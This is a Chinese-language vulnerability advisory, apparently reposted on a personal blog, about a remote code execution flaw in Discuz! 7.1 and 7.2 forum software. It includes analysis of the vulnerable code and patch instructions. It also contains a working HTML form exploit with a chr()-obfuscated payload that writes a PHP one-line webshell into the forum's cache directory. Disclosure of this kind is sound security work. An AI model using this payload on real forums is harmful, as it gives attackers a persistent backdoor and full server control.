Discuz! 7.1 & 7.2 远程代码执行漏洞
2010年1月9日星期六 | | |Vulnerable:
Discuz! 7.1 & 7.2
Discription:
产生漏洞的$scriptlang数组在安装插件后已经初始化 Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。 下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的: 一、漏洞来自showmessage函数: function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) { extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from www.oldjun.com global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist; define('CACHE_FORBIDDEN', TRUE); $hookscriptmessage = $show_message = $message;$messagehandle = 0; $msgforward = unserialize($_DCACHE['settings']['msgforward']); $refreshtime = intval($msgforward['refreshtime']); $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3); $msgforward['refreshtime'] = $refreshtime * 1000; $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward); $seccodecheck = $seccodestatus & 2; if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) { $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log'; if($fp = @fopen($statlogfile, 'a')) { @flock($fp, 2); if(is_array($funcstatinfo)) { $funcstatinfo = array_unique($funcstatinfo); foreach($funcstatinfo as $funcinfo) { fwrite($fp, funcstat_query($funcinfo, $message)."\n"); } } else { fwrite($fp, funcstat_query($funcstatinfo, $message)."\n"); } fclose($fp); $funcstatinfo = $GLOBALS['funcstatinfo'] = ''; } } if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) { write_statlog($message); } if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) { updatesession(); dheader("location: ".str_replace('&', '&', $url_forward)); } if(!empty($infloat)) { if($extra) { $messagehandle = $extra; } $extra = ''; } if(in_array($extra, array('HALTED', 'NOPERM'))) { $discuz_action = 254; } else { $discuz_action = 255; } include language('messages'); $vars = explode(':', $message);//只要含:就可以了 if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割 eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义,from www.oldjun.com } elseif(isset($language[$message])) { $pre = $inajax ? 'ajax_' : ''; eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";"); unset($pre); } ...... } 二、DZ的全局机制导致了未初始化的参数可以任意提交: foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value); } } 三、misc.php正好有个可以自定义message的点,其实也是未初始化: elseif($action == 'imme_binding' && $discuz_uid) { if(isemail($id)) { $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'"); $msn = explode("\t", $msn); $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@'))); $msn = "$msn[0]\t$id"; $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'"); showmessage('msn_binding_succeed', 'memcp.php'); } else { if($result == 'Declined') { dheader("Location: memcp.php"); } else { showmessage($response['result']);//$response没有初始化,可以自定义,from www.oldjun.com } } }
<*References
T00ls.net*>
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
showmessage函数里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。 下面是HTML测试代码: <form method="post" action="http://bbs.XXXX.com/misc.php" enctype="multipart/form-data"> 帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" /> <input type="hidden" name="action" value="imme_binding" /> <input type="hidden" name="response[result]" value="1:2" /> <input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" /> <input type="submit" name="topicsubmit" value="提交" class="submit" /> </form> forumdata/cache/usergroup_01.php cmd 生成的一句话
SEBUG Solution:
更新内容: 修复版本存在的重要安全问题 修复版本中存在的其他使用 bug 安全级别: 高 涉及版本:Discuz! 7.1 , Discuz! 7.2 修补方法: 1. 根据您的版本下载补丁包 7.1 用户 http://download2.comsenz.com/Discuz/patch/7.1/D710_UPGRADE_TO_20100110.zip 7.2 用户 http://download2.comsenz.com/Discuz/patch/7.2/D720_UPGRADE_TO_20100110.zip 2. 解压缩文件 3. 上传upload目录中的所有文件到您的论坛, 覆盖原有程序 4. 修复完成 注意事项:下目录中包含有相应版本的以往的补丁文件, 如果您尚未修复, 您应当按照补丁发布的时间, 依次覆盖修复 http://download2.comsenz.com/Discuz/patch/7.1/ http://download2.comsenz.com/Discuz/patch/7.2/
我的QQ空间
TT浏览器的Bug 吗? 发问TT 开发人员,Waite 回复 求解决
这个算是 TT浏览器的Bug 吗? 已发问TT 开发人员,Waite 回复 求解...